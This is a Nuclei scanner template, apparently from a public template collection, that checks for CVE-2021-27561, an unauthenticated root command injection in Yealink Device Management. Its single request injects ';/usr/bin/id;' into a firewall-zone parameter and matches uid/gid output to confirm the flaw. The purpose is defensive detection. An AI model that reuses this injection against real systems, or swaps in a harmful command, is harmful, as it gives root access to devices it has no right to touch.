56 lines
1.5 KiB
YAML
56 lines
1.5 KiB
YAML
id: CVE-2021-27561
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info:
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name: YeaLink DM 3.6.0.20 - Remote Command Injection
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author: shifacyclewala,hackergautam
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severity: critical
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description: Yealink Device Management (DM) 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication.
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remediation: |
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Update to the latest firmware version provided by the vendor to mitigate this vulnerability.
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reference:
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- https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27561
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- https://ssd-disclosure.com/?p=4688
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-27561
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cwe-id: CWE-78
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epss-score: 0.97455
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epss-percentile: 0.99942
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cpe: cpe:2.3:a:yealink:device_management:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: yealink
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product: device_management
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tags: cve,cve2021,rce,yealink,mirai,kev
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http:
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- method: GET
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path:
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- "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'uid'
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- 'gid'
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- 'groups'
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condition: and
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- type: word
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part: header
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words:
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- 'application/json'
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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regex:
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- "(u|g)id=.*"
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